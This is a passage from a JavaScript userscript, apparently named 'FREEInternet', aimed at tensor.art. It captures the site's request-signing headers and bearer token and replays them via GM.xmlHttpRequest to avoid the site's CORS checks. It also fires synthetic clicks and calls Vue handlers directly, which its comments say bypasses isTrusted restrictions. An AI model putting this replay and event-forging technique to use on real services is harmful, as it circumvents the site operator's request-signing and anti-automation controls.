                  targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
                    detail: {
                      requestId, ok: false, status: 0, statusText: 'Warmup incomplete',
                      error: 'Background warmup tab could not capture entry/create signing headers. ' +
                             'Reason: ' + (warmResult.reason || 'unknown') + '. ' +
                             'Add any image to your Library manually, then retry.'
                    }
                  }));
                } catch { /* ignore */ }
                return;
              }
              tensorInterceptLog('success',
                'GM relay (Func2): warmup tab OK — retrying Func2 with fresh entry/create headers', {
                  ageMs: Date.now() - fresh2.ts
                });
              const retryHdrs = { 'accept': '*/*', 'content-type': 'application/json' };
              try {
                Object.entries(fresh2.headers).forEach(([k, v]) => {
                  const name = String(k || '').trim().toLowerCase();
                  const val  = String(v  ?? '').trim();
                  if (!name || name === 'pragma' || name === 'cache-control') return;
                  if (val) retryHdrs[k] = val;
                });
              } catch { /* ignore */ }
              if (token) retryHdrs['authorization'] = 'Bearer ' + token;
              GM.xmlHttpRequest({
                method: 'POST',
                url: 'https://api.tensor.art/library-web/v1/entry/create',
                headers: retryHdrs,
                data: JSON.stringify({ generationImageId }),
                withCredentials: true, anonymous: false,
                onload(r) {
                  let d; try { d = JSON.parse(r.responseText || 'null'); } catch { d = r.responseText || null; }
                  try {
                    targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
                      detail: { requestId, ok: r.status >= 200 && r.status < 300, status: r.status, statusText: r.statusText || '', response: d }
                    }));
                  } catch { /* ignore */ }
                },
                onerror() {
                  try { targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', { detail: { requestId, ok: false, status: 0, statusText: 'Network Error', error: 'GM.xmlHttpRequest error after warmup tab' } })); } catch { /* ignore */ }
                },
                ontimeout() {
                  try { targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', { detail: { requestId, ok: false, status: 0, statusText: 'Timeout', error: 'Request timed out after warmup tab' } })); } catch { /* ignore */ }
                }
              });
            });
            return;
          }

          const createHdrs = { 'accept': '*/*', 'content-type': 'application/json' };
          try {
            Object.entries(createEntry.headers).forEach(([k, v]) => {
              const name = String(k || '').trim().toLowerCase();
              const val  = String(v  ?? '').trim();
              if (!name || name === 'pragma' || name === 'cache-control') return;
              if (val) createHdrs[k] = val;
            });
          } catch { /* ignore */ }
          if (token) createHdrs['authorization'] = 'Bearer ' + token;

          tensorInterceptLog('info', 'GM relay (Func2): POST /library-web/v1/entry/create', {
            generationImageId, ageMs: Date.now() - createEntry.ts
          });

          GM.xmlHttpRequest({
            method: 'POST',
            url: 'https://api.tensor.art/library-web/v1/entry/create',
            headers: createHdrs,
            data: JSON.stringify({ generationImageId }),
            withCredentials: true,
            anonymous: false,
            onload(r) {
              let responseData;
              try {
                responseData = (r.responseType === 'json' && r.response && typeof r.response === 'object')
                  ? r.response : JSON.parse(r.responseText || 'null');
              } catch { responseData = r.responseText || null; }
              try {
                targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
                  detail: {
                    requestId,
                    ok: r.status >= 200 && r.status < 300,
                    status: r.status,
                    statusText: r.statusText || '',
                    response: responseData
                  }
                }));
              } catch { /* ignore */ }
            },
            onerror(r) {
              try {
                targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
                  detail: {
                    requestId, ok: false, status: 0, statusText: 'Network Error',
                    error: 'GM.xmlHttpRequest network error'
                  }
                }));
              } catch { /* ignore */ }
            },
            ontimeout() {
              try {
                targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
                  detail: { requestId, ok: false, status: 0, statusText: 'Timeout', error: 'Request timed out' }
                }));
              } catch { /* ignore */ }
            }
          });
          return; // Func2 handled — do not fall through to Func1 logic
        }
        // ── Func3: DELETE /library-web/v1/entry/delete ────────────────────────────────────────────
        // debug("Func3", "<generationImageId>") — removes a single entry.
        // debug("Func3", "warmup") — removes all IDs that were added during warmup.
        if (action === 'Func3') {
          const rawArg = String(detail.generationImageId || '').trim();
          // Resolve list of IDs to delete
          let idsToDelete = [];
          if (rawArg === 'warmup') {
            idsToDelete = tensorWarmupCreatedIds.slice(); // copy
          } else if (rawArg) {
            idsToDelete = [rawArg];
          }
          if (!idsToDelete.length) {
            try {
              targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
                detail: {
                  requestId, ok: false, status: 0, statusText: 'Missing parameter',
                  error: 'Func3 requires a generationImageId or "warmup". Usage: debug("Func3","<id>") or debug("Func3","warmup")'
                }
              }));
            } catch { /* ignore */ }
            return;
          }

          const DELETE_PATH = 'library-web/v1/entry/delete';
          // Use cached create headers for delete (same signing scope), or list headers as fallback
          const delEntry = tensorSigningHeadersByPath[DELETE_PATH]
            || tensorSigningHeadersByPath['library-web/v1/entry/create']
            || tensorSigningHeadersByPath['library-web/v1/entry/list'];
          const delIsFresh = delEntry && (Date.now() - delEntry.ts) < TENSOR_SIGNING_HEADER_TTL;

          const doDeleteAll = (sigHdrs) => {
            const results = [];
            let completed = 0;
            idsToDelete.forEach((imageId) => {
              const hdrs = { 'accept': '*/*', 'content-type': 'application/json' };
              try {
                Object.entries(sigHdrs).forEach(([k, v]) => {
                  const name = String(k || '').trim().toLowerCase();
                  const val  = String(v  ?? '').trim();
                  if (!name || name === 'pragma' || name === 'cache-control') return;
                  if (val) hdrs[k] = val;
                });
              } catch { /* ignore */ }
              if (token) hdrs['authorization'] = 'Bearer ' + token;
              GM.xmlHttpRequest({
                method: 'POST',
                url: 'https://api.tensor.art/library-web/v1/entry/delete',
                headers: hdrs,
                data: JSON.stringify({ entryIds: [imageId] }),
                withCredentials: true, anonymous: false,
                onload(r) {
                  let d; try { d = JSON.parse(r.responseText || 'null'); } catch { d = r.responseText || null; }
                  const ok = r.status >= 200 && r.status < 300;
                  results.push({ imageId, ok, status: r.status, response: d });
                  // Remove from warmup list on success
                  if (ok) {
                    const idx = tensorWarmupCreatedIds.indexOf(imageId);
                    if (idx !== -1) tensorWarmupCreatedIds.splice(idx, 1);
                  }
                  if (++completed === idsToDelete.length) {
                    const allOk = results.every(r2 => r2.ok);
                    try {
                      targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
                        detail: { requestId, ok: allOk, status: allOk ? 200 : 207, statusText: allOk ? 'OK' : 'Partial', response: { deleted: results, remaining: tensorWarmupCreatedIds.slice() } }
                      }));
                    } catch { /* ignore */ }
                  }
                },
                onerror() {
                  results.push({ imageId, ok: false, status: 0, error: 'Network error' });
                  if (++completed === idsToDelete.length) {
                    try { targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', { detail: { requestId, ok: false, status: 0, statusText: 'Network Error', response: { deleted: results } } })); } catch { /* ignore */ }
                  }
                },
                ontimeout() {
                  results.push({ imageId, ok: false, status: 0, error: 'Timeout' });
                  if (++completed === idsToDelete.length) {
                    try { targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', { detail: { requestId, ok: false, status: 0, statusText: 'Timeout', response: { deleted: results } } })); } catch { /* ignore */ }
                  }
                }
              });
            });
          };

          if (delIsFresh) {
            doDeleteAll(delEntry.headers);
          } else {
            // Warm up first using entry/create path (same signing scope)
            ensureTensorSigningHeaders('library-web/v1/entry/create').then(function(warmResult) {
              const fresh2 = tensorSigningHeadersByPath['library-web/v1/entry/create']
                || tensorSigningHeadersByPath['library-web/v1/entry/list'];
              if (!fresh2) {
                try { targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', { detail: { requestId, ok: false, status: 0, statusText: 'Warmup incomplete', error: 'Could not get signing headers for delete. Reason: ' + (warmResult.reason || 'unknown') } })); } catch { /* ignore */ }
                return;
              }
              doDeleteAll(fresh2.headers);
            });
          }
          return;
        }
        // ── END Func3 ─────────────────────────────────────────────────────────────

        // ── Func2warm: standalone warmup command ─────────────────────────────────────────────
        // Opens a background tab to tensor.art, performs the full Create→Add-to-Library
        // click sequence there, broadcasts captured headers back via BroadcastChannel,
        // then closes the tab automatically.
        if (action === 'Func2warm') {
          tensorInterceptLog('info', 'GM relay (Func2warm): opening background warmup tab for entry/create', {});
          ensureTensorSigningHeaders('library-web/v1/entry/create').then(function(warmResult) {
            const hasHeaders = warmResult.ok;
            try {
              targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
                detail: {
                  requestId, ok: hasHeaders,
                  status: hasHeaders ? 200 : 0,
                  statusText: hasHeaders ? 'Headers cached' : 'Warmup incomplete',
                  response: { warmedUp: hasHeaders, reason: warmResult.reason || 'tab done', cached: Object.keys(tensorSigningHeadersByPath) }
                }
              }));
            } catch { /* ignore */ }
          });
          return;
        }
        // ── END Func2warm ─────────────────────────────────────────────────────────────

        if (pathIsFresh) {
          // Fast path: cached headers available, fire immediately.
          doGMRequest(token, signingSource);
        } else {
          // No fresh headers: open a background tensor.art/library tab so its own
          // signed API calls are captured by the fetch interceptor, then broadcast
          // back here via BroadcastChannel and we retry the GM request.
          tensorInterceptLog('info',
            'GM relay: no cached library-web signing headers — opening background warmup tab', {
              cached: Object.keys(tensorSigningHeadersByPath)
            });
          ensureTensorSigningHeaders(TARGET_PATH).then(function(warmResult) {
            const fresh2 = tensorSigningHeadersByPath[TARGET_PATH];
            const ok2    = fresh2 && (Date.now() - fresh2.ts) < TENSOR_SIGNING_HEADER_TTL;
            if (!ok2) {
              tensorInterceptLog('warning',
                'GM relay: warmup tab finished but library-web signing headers still absent', {
                  warmResult, cached: Object.keys(tensorSigningHeadersByPath)
                });
              try {
                targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugResult', {
                  detail: {
                    requestId, ok: false, status: 0, statusText: 'Warmup incomplete',
                    error: 'Background warmup tab could not capture library-web signing headers. ' +
                           'Reason: ' + (warmResult.reason || 'unknown') + '. ' +
                           'Navigate to tensor.art/library manually and try again.'
                  }
                }));
              } catch { /* ignore */ }
              return;
            }
            tensorInterceptLog('success',
              'GM relay: warmup tab OK — retrying Func1 with fresh library-web signing headers', {
                ageMs: Date.now() - fresh2.ts
              });
            doGMRequest(token, fresh2.headers);
          });
        }
      });
    } catch (e) {
      tensorInterceptLog('error', 'Failed to install GM debug request relay', {
        error: String(e?.message || e)
      });
    }
  }

  function installTensorConsoleDebugHelper() {
    if (!IS_TENSOR_DOMAIN) return;
    // Guard: only inject once. We track on the document (not pageWindow) so a
    // failed early attempt can be retried when the DOM is finally ready.
    if (document.__freeBypassDebugScriptInserted) return;

    const target = document.head || document.documentElement;
    if (!target) {
      // DOM not ready yet — defer.
      try {
        document.addEventListener('DOMContentLoaded', function _tryDebugInstall() {
          document.removeEventListener('DOMContentLoaded', _tryDebugInstall);
          installTensorConsoleDebugHelper();
        });
      } catch {}
      return;
    }
    document.__freeBypassDebugScriptInserted = true;

    // Serialise the configured request-sign headers at injection time so the
    // page-context script can include them without touching userscript state.
    const configuredHeaders = {};
    try {
      Object.entries(settings.headers || {}).forEach(([k, v]) => {
        const name = String(k || '').trim();
        const val  = String(v  ?? '').trim();
        if (name && val) configuredHeaders[name] = val;
      });
    } catch {}

    // -----------------------------------------------------------------------
    // This <script> tag code runs in the PAGE's true JS realm so that
    // window.debug / window.freeInternetDebug are available in DevTools.
    // However, instead of calling fetch() (which still hits CORS preflights
    // that api.tensor.art rejects), the page script fires a CustomEvent
    // "_freeInternetDebug" that the USERSCRIPT relay above catches and
    // fulfils via GM.xmlHttpRequest — which is completely CORS-immune.
    // -----------------------------------------------------------------------
    const inner = `(function(){
if(window.__freeBypassDebugInstalled)return;
window.__freeBypassDebugInstalled=true;
var _pending={};
// Auto-warmup: silently SPA-navigate to /library to trigger the site's own
// signed library-web fetch, which populates the userscript's header cache.
// The Vue router push() does NOT reload the page; it's a client-side route change.
window.addEventListener('_freeInternetDebugWarmup',async function(){
  var badge='background:#f59e0b;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;';
  var done=function(ok,reason){
    console.log('%cFREEInternet Tensor Debug%c warmup: '+reason,badge,'color:#fef3c7;font-weight:700;');
    window.dispatchEvent(new CustomEvent('_freeInternetDebugWarmupDone',{detail:{ok:ok,reason:reason}}));
  };
  try{
    var vueApp=document.getElementById('__nuxt')?.__vue_app__;
    var router=vueApp&&vueApp.config&&vueApp.config.globalProperties&&vueApp.config.globalProperties.$router;
    if(!router){done(false,'no Vue router found – navigate to tensor.art/library manually');return;}
    var currentPath=router.currentRoute&&router.currentRoute.value&&router.currentRoute.value.fullPath;
    if(currentPath&&currentPath.startsWith('/library')){
      // Already on library page; the component should have already fired its API call
      await new Promise(function(r){setTimeout(r,700);});
      done(true,'already on /library');
      return;
    }
    console.log('%cFREEInternet Tensor Debug%c auto-warmup: SPA navigating to /library to capture signing headers…',badge,'color:#fef3c7;font-weight:700;');
    await router.push('/library');
    // Wait for the library component to mount and fire its API call
    await new Promise(function(r){setTimeout(r,2000);});
    done(true,'navigated to /library and captured signing headers');
    // Navigate back quietly
    if(currentPath)setTimeout(function(){try{router.push(currentPath);}catch(e){}},100);
  }catch(err){
    done(false,'error: '+String(err&&err.message||err));
  }
});
window.addEventListener('_freeInternetDebugResult',function(e){
  var d=e&&e.detail&&typeof e.detail==='object'?e.detail:{};
  var id=String(d.requestId||'');
  if(!id||!_pending[id])return;
  var cb=_pending[id];
  delete _pending[id];
  cb(d);
});
// _freeInternetDebugWarmCreate
// Click the real "Add to Library" button so the site fires a signed
// entry/create request, which our fetch interceptor captures.
// Flow:
//   1. Scan for iconpark-icon[icon-id="pluscircle"] (the add button)
//   2. If not found, click the Create/magic button to open the panel
//   3. Poll every 1 s (up to 10 s) for the button to appear
//   4. Force the hidden overlay visible and fire the full click sequence
window.addEventListener('_freeInternetDebugWarmCreate',async function(){
  var badge='background:#f59e0b;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;';
  var done=function(ok,reason){
    console.log('%cFREEInternet Tensor Debug%c warmCreate: '+reason,badge,'color:#fef3c7;font-weight:700;');
    window.dispatchEvent(new CustomEvent('_freeInternetDebugWarmCreateDone',{detail:{ok:ok,reason:reason}}));
  };
  // Find a "pluscircle / Add to library" icon whose parent is NOT cursor-not-allowed.
  // Title check is used only when a title IS present — icons without a title attr are still accepted.
  function findBtn(root){
    root=root||document;
    var searchLabel=root===document?'document':'modal';
    var icons=Array.from(root.querySelectorAll('iconpark-icon[icon-id="pluscircle"]'));
    console.log('%cFREEInternet Tensor WarmupTab%c findBtn — pluscircle in '+searchLabel+': '+icons.length,badge,'color:#fef3c7;font-weight:700;');
    // Fallback: if none in modal, search whole document too
    if(icons.length===0 && root!==document){
      icons=Array.from(document.querySelectorAll('iconpark-icon[icon-id="pluscircle"]'));
      console.log('%cFREEInternet Tensor WarmupTab%c findBtn — fallback whole-doc pluscircle: '+icons.length,badge,'color:#fef3c7;font-weight:700;');
    }
    for(var ic of icons){
      var parent=ic.parentElement;
      if(!parent)continue;
      if(parent.classList.contains('cursor-not-allowed'))continue;
      var t=(ic.getAttribute('title')||ic.getAttribute('tooltip')||'').toLowerCase();
      if(t && !t.includes('library') && !t.includes('add'))continue;
      return parent;
    }
    return null;
  }
  // Unhide the overlay container and fire a complete click sequence.
  // Also attempts Vue 3 _vei direct handler call (bypasses isTrusted restrictions).
  function clickBtn(btn){
    // Walk up and make opacity-0 / display:none containers visible
    var el=btn;
    for(var i=0;i<8;i++){
      el=el.parentElement;
      if(!el||el===document.body)break;
      var cn=el.className||'';
      if(cn.includes('opacity-0')||cn.includes('lg:opacity-0')){
        el.style.setProperty('opacity','1','important');
        el.style.setProperty('pointer-events','auto','important');
      }
    }
    btn.style.setProperty('opacity','1','important');
    btn.style.setProperty('pointer-events','auto','important');
    // ── Primary: call Vue 3 _vei invoker directly (trusted, no isTrusted issue) ───
    var veiCalled=false;
    try{
      var node=btn;
      for(var vi=0;vi<8;vi++){
        if(!node)break;
        if(node._vei){
          var inv=node._vei.onClick||node._vei.click;
          if(inv){
            var fakeEv=new MouseEvent('click',{bubbles:true,cancelable:true,view:window});
            if(typeof inv==='function'){inv(fakeEv);veiCalled=true;}
            else if(inv&&typeof inv.value==='function'){inv.value(fakeEv);veiCalled=true;}
            if(veiCalled){console.log('%cFREEInternet Tensor WarmupTab%c clickBtn: _vei handler called on',badge,'color:#a3e635;font-weight:700;',node);break;}
          }
        }
        node=node.parentElement;
      }
    }catch(ve){console.warn('_vei call failed:',ve);}
    // ── Secondary: bubble a real MouseEvent from a child text node / icon ────────
    // Firing .click() on the exact element the Vue listener is on is most reliable
    try{
      var deepest=btn.querySelector('iconpark-icon,span,svg,div')||btn;
      deepest.click();
    }catch{}
    // ── Tertiary: full synthetic pointer+mouse event storm ────────────────────────
    var rect=btn.getBoundingClientRect();
    var cx=rect.width>0?Math.round(rect.left+rect.width/2):60;
    var cy=rect.height>0?Math.round(rect.top+rect.height/2):60;
    var eo={bubbles:true,cancelable:true,clientX:cx,clientY:cy,screenX:cx,screenY:cy,view:window};
    var eob={bubbles:false,cancelable:false,clientX:cx,clientY:cy,screenX:cx,screenY:cy,view:window};
    console.log('%cFREEInternet Tensor WarmupTab%c clickBtn: synthetic events on',badge,'color:#fef3c7;font-weight:700;',btn,'(vei='+veiCalled+')');
    try{btn.dispatchEvent(new PointerEvent('pointerover',eo));}catch{}
    try{btn.dispatchEvent(new PointerEvent('pointerenter',eob));}catch{}
    try{btn.dispatchEvent(new MouseEvent('mouseover',eo));}catch{}
    try{btn.dispatchEvent(new MouseEvent('mouseenter',eob));}catch{}
    try{btn.dispatchEvent(new PointerEvent('pointermove',eo));}catch{}
    try{btn.dispatchEvent(new MouseEvent('mousemove',eo));}catch{}
    try{btn.dispatchEvent(new PointerEvent('pointerdown',Object.assign({},eo,{button:0,buttons:1})));}catch{}
    try{btn.dispatchEvent(new MouseEvent('mousedown',Object.assign({},eo,{button:0,buttons:1})));}catch{}
    try{btn.dispatchEvent(new PointerEvent('pointerup',Object.assign({},eo,{button:0,buttons:0})));}catch{}
    try{btn.dispatchEvent(new MouseEvent('mouseup',Object.assign({},eo,{button:0,buttons:0})));}catch{}
    try{btn.dispatchEvent(new MouseEvent('click',Object.assign({},eo,{button:0,buttons:0})));}catch{}
    try{btn.click();}catch{}
  }
  // Step 1: find and click the Create (magic) button to open the panel
  var btn=null;
  console.group('%c[FREEInternet WarmupTab] Create → Add-to-Library flow','background:#dc2626;color:#fff;padding:3px 10px;border-radius:4px;font-weight:900;');
  console.log('Page URL:', location.href, '| readyState:', document.readyState);
  // ── Approach A: Vue Router push to the create route ──────────────────────────
  var routerPushed=false;
  try{
    var appEl=document.querySelector('[data-v-app]')||document.querySelector('#app')||document.querySelector('#__nuxt');
    var vueApp=appEl&&appEl.__vue_app__;
    var $router=vueApp&&vueApp.config&&vueApp.config.globalProperties&&vueApp.config.globalProperties.$router;
    if($router){
      // Try common create routes on tensor.art
      var createRoutes=['/comfyui','/create','/image/create','/video/create'];
      for(var ri=0;ri<createRoutes.length;ri++){
        try{
          $router.push(createRoutes[ri]);
          routerPushed=true;
          console.log('Vue Router push →',createRoutes[ri]);
          break;
        }catch(re){console.warn('router.push('+createRoutes[ri]+') failed:',re);}
      }
    } else {
      console.log('Vue Router not found on [data-v-app]/__vue_app__');
    }
  }catch(routeErr){console.warn('Router approach error:',routeErr);}
  // ── Approach B: DOM click on Create (magic) button ───────────────────────────
  var createBtn=null;
  try { createBtn=document.querySelector('div.cursor-pointer.flex-c-c:has(iconpark-icon[icon-id="magic"])'); } catch{}
  if(!createBtn){
    var magicIcons=Array.from(document.querySelectorAll('iconpark-icon[icon-id="magic"]'));
    console.log('magic icons in DOM:', magicIcons.length, magicIcons);
    for(var mi of magicIcons){
      var p=mi;
      for(var j=0;j<6;j++){
        p=p.parentElement;
        if(!p)break;
        var cn2=p.className||'';
        if(cn2.includes('cursor-pointer')&&cn2.includes('flex-c-c')){createBtn=p;break;}
      }
      if(createBtn)break;
    }
    if(!createBtn && magicIcons.length>0){
      var p2=magicIcons[0];
      for(var k=0;k<6;k++){
        p2=p2.parentElement;
        if(!p2)break;
        if((p2.className||'').includes('cursor-pointer')){createBtn=p2;break;}
      }
    }
  }
  if(createBtn){
    console.log('Create button found:', createBtn.className, createBtn);
    // Log _vei presence so we can see if Vue listener is there
    var veiNode=createBtn;
    for(var vei2=0;vei2<6;vei2++){
      if(!veiNode)break;
      if(veiNode._vei){console.log('_vei found at depth '+vei2+':', Object.keys(veiNode._vei), veiNode);break;}
      veiNode=veiNode.parentElement;
    }
    if(!routerPushed) clickBtn(createBtn);
    // Also click inner text child (Vue listener may be on it)
    try{
      var innerCreate=createBtn.querySelector('div[class*="md:flex"]');
      if(innerCreate){ console.log('also clicking inner child:', innerCreate); if(!routerPushed) clickBtn(innerCreate); }
    }catch{}
    // Re-fire clickBtn even if router pushed — belt-and-suspenders
    if(routerPushed){ setTimeout(function(){ clickBtn(createBtn); },800); }
    console.log('Create button fired (routerPushed='+routerPushed+') — polling for .n-modal…');
  } else {
    console.warn('Create button NOT FOUND. magic icons on page:', document.querySelectorAll('iconpark-icon[icon-id="magic"]').length, Array.from(document.querySelectorAll('iconpark-icon[icon-id="magic"]')));
  }
  // Step 2: poll every 500 ms (up to 8 s) for .n-modal to become visible (style.display !== 'none')
  var modal=null;
  for(var mp=0;mp<16;mp++){
    await new Promise(function(r){setTimeout(r,500);});
    var allModals=Array.from(document.querySelectorAll('.n-modal'));
    var vis=allModals.filter(function(m){return m.style.display!=='none';});
    console.log('modal poll '+(mp+1)+'/16 — .n-modal count='+allModals.length+' visible='+vis.length+(allModals[0]?' first.display="'+allModals[0].style.display+'"':''));
    if(vis.length>0){modal=vis[0];break;}
  }
  if(modal){
    console.log('Modal is VISIBLE:', modal.className);
    console.log('pluscircle icons immediately inside modal:', modal.querySelectorAll('iconpark-icon[icon-id="pluscircle"]').length);
  } else {
    console.warn('Modal did NOT open after 8 s — will search whole page for pluscircle.');
  }
  // Step 3: poll every 1 s (up to 15 s) for Add-to-Library (pluscircle) inside modal, fallback whole page
  var found=false;
  for(var attempt=0;attempt<15;attempt++){
    await new Promise(function(r){setTimeout(r,1000);});
    btn=findBtn(modal||undefined);
    if(btn){found=true;break;}
    if(attempt%3===2){
      var dbgR=modal||document;
      console.log('iconpark ids in search root (attempt '+(attempt+1)+'):', Array.from(dbgR.querySelectorAll('iconpark-icon')).map(function(ic){return ic.getAttribute('icon-id');}));
    }
  }
  console.groupEnd();
  if(!found){
    done(false,'No Add-to-Library (pluscircle) button found after 15 s. Modal opened: '+(modal?'YES':'NO')+'. Check that at least one generated task is visible in the Create panel.');
    return;
  }
  clickBtn(btn);
  await new Promise(function(r){setTimeout(r,700);});
  done(true,'Add-to-Library button clicked'+(modal?' (inside modal)':' (on page)'));
});
function _runFunc1(){
  return new Promise(function(resolve){
    var id='td-'+Date.now()+'-'+Math.random().toString(36).slice(2,7);
    var badge='background:#38bdf8;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(56,189,248,.45);';
    var bodyStyle='color:#e0f2fe;font-weight:700;';
    console.log(
      '%cFREEInternet Tensor Debug%c ➜  POST /library-web/v1/entry/list  (via GM relay – CORS-free)',
      badge,bodyStyle,{requestId:id,payload:{cursor:'0',limit:20,filter:{}}}
    );
    _pending[id]=function(d){
      var res={action:'Func1',ok:d.ok,status:d.status,statusText:d.statusText,requestId:id,payload:{cursor:'0',limit:20,filter:{}},response:d.response,error:d.error||undefined};
      var pb=d.ok
        ?'background:#22c55e;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(34,197,94,.45);'
        :'background:#ef4444;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(239,68,68,.45);';
      var pt=d.ok?'color:#dcfce7;font-weight:700;':'color:#fee2e2;font-weight:700;';
      console[d.ok?'log':'error'](
        '%cFREEInternet Tensor Debug%c Func1  '+d.status+' '+(d.statusText||''),pb,pt,res
      );
      resolve(res);
    };
    window.dispatchEvent(new CustomEvent('_freeInternetDebug',{detail:{action:'Func1',requestId:id}}));
  });
}
function _runFunc2(generationImageId){
  generationImageId=String(generationImageId||'').trim();
  if(!generationImageId){
    console.error('%cFREEInternet Tensor Debug%c Func2 requires a generationImageId. Usage: debug("Func2","<imageId>")','background:#ef4444;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;','color:#fee2e2;font-weight:700;');
    return Promise.resolve(null);
  }
  return new Promise(function(resolve){
    var id='td-'+Date.now()+'-'+Math.random().toString(36).slice(2,7);
    var badge='background:#a78bfa;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(167,139,250,.45);';
    var bodyStyle='color:#ede9fe;font-weight:700;';
    var payload={generationImageId:generationImageId};
    console.log(
      '%cFREEInternet Tensor Debug%c ➜  POST /library-web/v1/entry/create  (via GM relay – CORS-free)',
      badge,bodyStyle,{requestId:id,payload:payload}
    );
    _pending[id]=function(d){
      var res={action:'Func2',ok:d.ok,status:d.status,statusText:d.statusText,requestId:id,payload:payload,response:d.response,error:d.error||undefined};
      var pb=d.ok
        ?'background:#22c55e;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(34,197,94,.45);'
        :'background:#ef4444;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(239,68,68,.45);';
      var pt=d.ok?'color:#dcfce7;font-weight:700;':'color:#fee2e2;font-weight:700;';
      console[d.ok?'log':'error'](
        '%cFREEInternet Tensor Debug%c Func2  '+d.status+' '+(d.statusText||''),pb,pt,res
      );
      resolve(res);
    };
    window.dispatchEvent(new CustomEvent('_freeInternetDebug',{detail:{action:'Func2',requestId:id,generationImageId:generationImageId}}));
  });
}
function _runFunc3(generationImageId){
  var idArg=String(generationImageId||'').trim();
  if(!idArg){
    console.error('%cFREEInternet Tensor Debug%c Func3 requires a generationImageId or "warmup". Usage: debug("Func3","<id>") or debug("Func3","warmup")','background:#ef4444;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;','color:#fee2e2;font-weight:700;');
    return Promise.resolve(null);
  }
  return new Promise(function(resolve){
    var id='td-'+Date.now()+'-'+Math.random().toString(36).slice(2,7);
    var badge='background:#fb923c;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(251,146,60,.45);';
    var bodyStyle='color:#ffedd5;font-weight:700;';
    var label=idArg==='warmup'?'DELETE warmup IDs':'DELETE id='+idArg;
    console.log('%cFREEInternet Tensor Debug%c ➜  '+label+'  (via GM relay – CORS-free)',badge,bodyStyle,{requestId:id});
    _pending[id]=function(d){
      var res={action:'Func3',ok:d.ok,status:d.status,statusText:d.statusText,requestId:id,response:d.response,error:d.error||undefined};
      var pb=d.ok
        ?'background:#22c55e;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(34,197,94,.45);'
        :'background:#ef4444;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(239,68,68,.45);';
      var pt=d.ok?'color:#dcfce7;font-weight:700;':'color:#fee2e2;font-weight:700;';
      console[d.ok?'log':'error']('%cFREEInternet Tensor Debug%c Func3  '+d.status+' '+(d.statusText||''),pb,pt,res);
      resolve(res);
    };
    window.dispatchEvent(new CustomEvent('_freeInternetDebug',{detail:{action:'Func3',requestId:id,generationImageId:idArg}}));
  });
}
var runner=function(a,arg1){
  a=String(a||'Func1').trim()||'Func1';
  if(a==='Func1'){
    var id='td-'+Date.now();
    _runFunc1()
      .then(function(r){console.log('[FREEInternet][TensorDebug:'+id+']',r);})
      .catch(function(e){console.error('[FREEInternet][TensorDebug:'+id+'] FAILED',e);});
    return{started:true,requestId:id,action:'Func1',mode:'gm-relay',note:'Async \u2013 CORS-free via GM.xmlHttpRequest relay'};
  }
  if(a==='Func2'){
    var id2='td-'+Date.now();
    _runFunc2(arg1)
      .then(function(r){if(r)console.log('[FREEInternet][TensorDebug:'+id2+']',r);})
      .catch(function(e){console.error('[FREEInternet][TensorDebug:'+id2+'] FAILED',e);});
    return{started:true,requestId:id2,action:'Func2',payload:{generationImageId:String(arg1||'')},mode:'gm-relay',note:'Async \u2013 CORS-free via GM.xmlHttpRequest relay'};
  }
  if(a==='Func2warm'){
    var id3='td-'+Date.now();
    return new Promise(function(resolve){
      var badge='background:#f59e0b;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;';
      console.log('%cFREEInternet Tensor Debug%c ➜  Func2warm: warming entry/create signing header cache…',badge,'color:#fef3c7;font-weight:700;');
      _pending[id3]=function(d){
        var res={action:'Func2warm',ok:d.ok,status:d.status,statusText:d.statusText,requestId:id3,response:d.response,error:d.error||undefined};
        var pb=d.ok
          ?'background:#22c55e;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;'
          :'background:#ef4444;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;';
        var pt=d.ok?'color:#dcfce7;font-weight:700;':'color:#fee2e2;font-weight:700;';
        console[d.ok?'log':'error']('%cFREEInternet Tensor Debug%c Func2warm '+(d.ok?'✅ cache ready':'❌ failed'),pb,pt,res);
        resolve(res);
      };
      window.dispatchEvent(new CustomEvent('_freeInternetDebug',{detail:{action:'Func2warm',requestId:id3}}));
    }).then(function(r){console.log('[FREEInternet][TensorDebug:'+id3+']',r);return r;})
      .catch(function(e){console.error('[FREEInternet][TensorDebug:'+id3+'] FAILED',e);});
  }
  console.error('[FREEInternet] Unknown debug action: "'+a+'". Supported: Func1, Func2, Func2warm, Func3');
  return null;
};
runner.async=function(a,arg1){
  a=String(a||'Func1').trim()||'Func1';
  if(a==='Func2')return _runFunc2(arg1);
  if(a==='Func2warm')return runner('Func2warm');
  if(a==='Func3')return _runFunc3(arg1);
  return _runFunc1();
};
window.debug=runner;
window.freeInternetDebug=runner;
window.freeInternetDebugAsync=runner.async;
// Expose the warmup-created IDs list for inspection/cleanup
